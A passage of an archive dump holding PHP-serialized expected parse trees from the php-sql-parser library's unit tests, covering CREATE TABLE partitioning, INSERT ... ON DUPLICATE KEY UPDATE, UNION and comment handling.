DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"amount";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"amount";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"DECIMAL";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";s:1:"7";s:8:"decimals";s:1:"2";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:12:"tr_date DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"ENGINE=INNODB";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"INNODB";}}}}s:17:"partition-options";a:2:{i:0;a:5:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:70:"PARTITION BY LINEAR KEY ALGORITHM=2 (tr_date)
            PARTITIONS 6";s:8:"sub_tree";a:5:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"LINEAR";}i:3;a:5:{s:9:"expr_type";s:13:"partition-key";s:9:"base_expr";s:25:"KEY ALGORITHM=2 (tr_date)";s:6:"linear";b:1;s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:1;a:3:{s:9:"expr_type";s:23:"partition-key-algorithm";s:9:"base_expr";s:11:"ALGORITHM=2";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"ALGORITHM";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:9:"(tr_date)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}}}}}s:9:"algorithm";s:1:"2";}i:4;a:3:{s:9:"expr_type";s:15:"partition-count";s:9:"base_expr";s:12:"PARTITIONS 6";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:10:"PARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"6";}}}}s:2:"by";s:10:"LINEAR KEY";s:5:"count";s:1:"6";}i:1;a:5:{s:9:"expr_type";s:13:"sub-partition";s:9:"base_expr";s:72:"SUBPARTITION BY LINEAR HASH (MONTH(tr_date))
            SUBPARTITIONS 2";s:8:"sub_tree";a:5:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"LINEAR";}i:3;a:4:{s:9:"expr_type";s:18:"sub-partition-hash";s:9:"base_expr";s:21:"HASH (MONTH(tr_date))";s:6:"linear";b:1;s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"HASH";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:16:"(MONTH(tr_date))";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:5:"MONTH";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}s:8:"sub_tree";b:0;}}}}}}}i:4;a:3:{s:9:"expr_type";s:19:"sub-partition-count";s:9:"base_expr";s:15:"SUBPARTITIONS 2";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:13:"SUBPARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}}s:2:"by";s:11:"LINEAR HASH";s:5:"count";s:1:"2";}}}}PK     \M(  (  N  vendor/greenlion/php-sql-parser/tests/expected/parser/tableoptions1.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:3:" ()";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:0:"";s:8:"sub_tree";a:0:{}}}}s:7:"options";a:3:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:18:"AUTO_INCREMENT = 1";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:14:"AUTO_INCREMENT";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";}}}i:1;a:4:{s:9:"expr_type";s:13:"character-set";s:9:"base_expr";s:27:"DEFAULT CHARACTER SET _utf8";s:5:"delim";s:1:" ";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"CHARACTER";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"SET";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"_utf8";}}}i:2;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:18:"PASSWORD 'test123'";s:5:"delim";s:1:" ";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:8:"PASSWORD";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:9:"'test123'";}}}}}}PK     \Ȼ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue219.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";s:8:"position";i:7;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"`wp_options`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"wp_options";}}s:5:"alias";b:0;s:9:"base_expr";s:12:"`wp_options`";s:8:"position";i:12;}i:2;a:4:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:43:"(`option_name`, `option_value`, `autoload`)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"`option_name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"option_name";}}s:8:"position";i:26;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"`option_value`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"option_value";}}s:8:"position";i:41;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"`autoload`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"autoload";}}s:8:"position";i:57;}}s:8:"position";i:25;}}s:6:"VALUES";a:8:{i:0;a:5:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:33:"('some_key', 'some_value', 'yes')";s:4:"data";a:3:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:10:"'some_key'";s:8:"sub_tree";b:0;s:8:"position";i:77;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'some_value'";s:8:"sub_tree";b:0;s:8:"position";i:89;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'yes'";s:8:"sub_tree";b:0;s:8:"position";i:103;}}s:5:"delim";b:0;s:8:"position";i:76;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"ON";s:8:"position";i:110;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DUPLICATE";s:8:"position";i:113;}i:3;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";s:8:"position";i:123;}i:4;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"UPDATE";s:8:"position";i:127;}i:5;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:37:"`option_name` = VALUES(`option_name`)";s:8:"sub_tree";a:4:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"`option_name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"option_name";}}s:8:"sub_tree";b:0;s:8:"position";i:134;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:148;}i:2;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";s:8:"sub_tree";b:0;s:8:"position";i:150;}i:3;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:15:"(`option_name`)";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"`option_name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"option_name";}}s:8:"sub_tree";b:0;s:8:"position";i:157;}}s:8:"position";i:156;}}s:5:"delim";s:1:",";s:8:"position";i:134;}i:6;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:39:"`option_value` = VALUES(`option_value`)";s:8:"sub_tree";a:4:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"`option_value`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"option_value";}}s:8:"sub_tree";b:0;s:8:"position";i:173;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:188;}i:2;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";s:8:"sub_tree";b:0;s:8:"position";i:190;}i:3;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:16:"(`option_value`)";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"`option_value`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"option_value";}}s:8:"sub_tree";b:0;s:8:"position";i:197;}}s:8:"position";i:196;}}s:5:"delim";s:1:",";s:8:"position";i:173;}i:7;a:5:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:31:"`autoload` = VALUES(`autoload`)";s:8:"sub_tree";a:4:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"`autoload`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"autoload";}}s:8:"sub_tree";b:0;s:8:"position";i:214;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:225;}i:2;a:4:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";s:8:"sub_tree";b:0;s:8:"position";i:227;}i:3;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:12:"(`autoload`)";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"`autoload`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"autoload";}}s:8:"sub_tree";b:0;s:8:"position";i:234;}}s:8:"position";i:233;}}s:5:"delim";b:0;s:8:"position";i:214;}}}PK     \*j    I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment1.serializednu [        a:2:{s:6:"SELECT";a:3:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:35:"-- inline comment in SELECT section";}i:2;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"test";s:8:"sub_tree";b:0;}}}PK     \-AP  P  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue71a.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"table1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"table1";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:5:"event";s:9:"base_expr";s:8:"as event";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"event";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:15:"table1 as event";s:8:"sub_tree";b:0;}}}PK     \@(t    G  vendor/greenlion/php-sql-parser/tests/expected/parser/union2.serializednu [        a:2:{s:9:"UNION ALL";a:2:{i:0;a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:8;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:23;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test a";s:8:"sub_tree";b:0;s:8:"position";i:18;}}}i:1;a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"colB";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colB";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:76;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:9:"base_expr";s:1:"b";s:8:"position";i:91;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test b";s:8:"sub_tree";b:0;s:8:"position";i:86;}}}}i:0;a:1:{s:5:"ORDER";a:1:{i:0;a:4:{s:9:"expr_type";s:3:"pos";s:9:"base_expr";s:1:"1";s:9:"direction";s:3:"ASC";s:8:"position";i:103;}}}}PK     \I4    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue84a.serializednu [        a:4:{s:6:"INSERT";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";s:8:"position";i:7;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"newTablename";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"newTablename";}}s:5:"alias";b:0;s:9:"base_expr";s:12:"newTablename";s:8:"position";i:12;}}s:6:"SELECT";a:3:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"field1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field1";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:32;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"field2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field2";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:40;}i:2;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:6:"field3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field3";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:48;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"oldTablename";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"oldTablename";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"oldTablename";s:8:"sub_tree";b:0;s:8:"position";i:60;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field1";}}s:8:"sub_tree";b:0;s:8:"position";i:79;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;s:8:"position";i:86;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"100";s:8:"sub_tree";b:0;s:8:"position";i:88;}}}PK     \t5    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue41.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:9:"v$mytable";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"v$mytable";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:9:"v$mytable";s:8:"sub_tree";b:0;s:8:"position";i:14;}}}PK     \V@    L  vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns4.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:3:"a.*";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:1:"a";i:1;s:1:"*";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:21:"FAILED_LOGIN_ATTEMPTS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:21:"FAILED_LOGIN_ATTEMPTS";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:23:"FAILED_LOGIN_ATTEMPTS a";s:8:"sub_tree";b:0;}}}PK     \l^    I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment6.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"test";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:2:{i:0;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:37:"-- inline comment in ORDER BY section";}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:9:"direction";s:4:"DESC";}}}PK     \G;  ;  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue117.serializednu [        a:1:{s:7:"BRACKET";a:2:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:36:"(((SELECT x FROM table)) ORDER BY x)";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:23:"((SELECT x FROM table))";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:21:"(SELECT x FROM table)";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"query";s:9:"base_expr";s:19:"SELECT x FROM table";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:10;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"table";s:8:"sub_tree";b:0;s:8:"position";i:17;}}}s:8:"position";i:3;}}s:8:"position";i:2;}}s:8:"position";i:1;}}s:8:"position";i:0;}i:1;a:1:{s:5:"ORDER";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";s:8:"position";i:34;}}}}}PK     \ͨ    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue138.serializednu [        a:3:{s:6:"SELECT";a:5:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"ivoid";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"ivoid";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:10:"access_url";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"access_url";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:2;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"name";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"name";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:3;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:3:"ucd";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"ucd";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:4;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:11:"description";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"description";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:4:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:13:"rr.capability";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"rr";i:1;s:10:"capability";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:13:"rr.capability";s:8:"sub_tree";b:0;}i:1;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"rr.interface";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"rr";i:1;s:9:"interface";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:7:"NATURAL";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"rr.interface";s:8:"sub_tree";b:0;}i:2;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:15:"rr.table_column";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"rr";i:1;s:12:"table_column";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:7:"NATURAL";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:15:"rr.table_column";s:8:"sub_tree";b:0;}i:3;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"rr.res_table";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"rr";i:1;s:9:"res_table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:7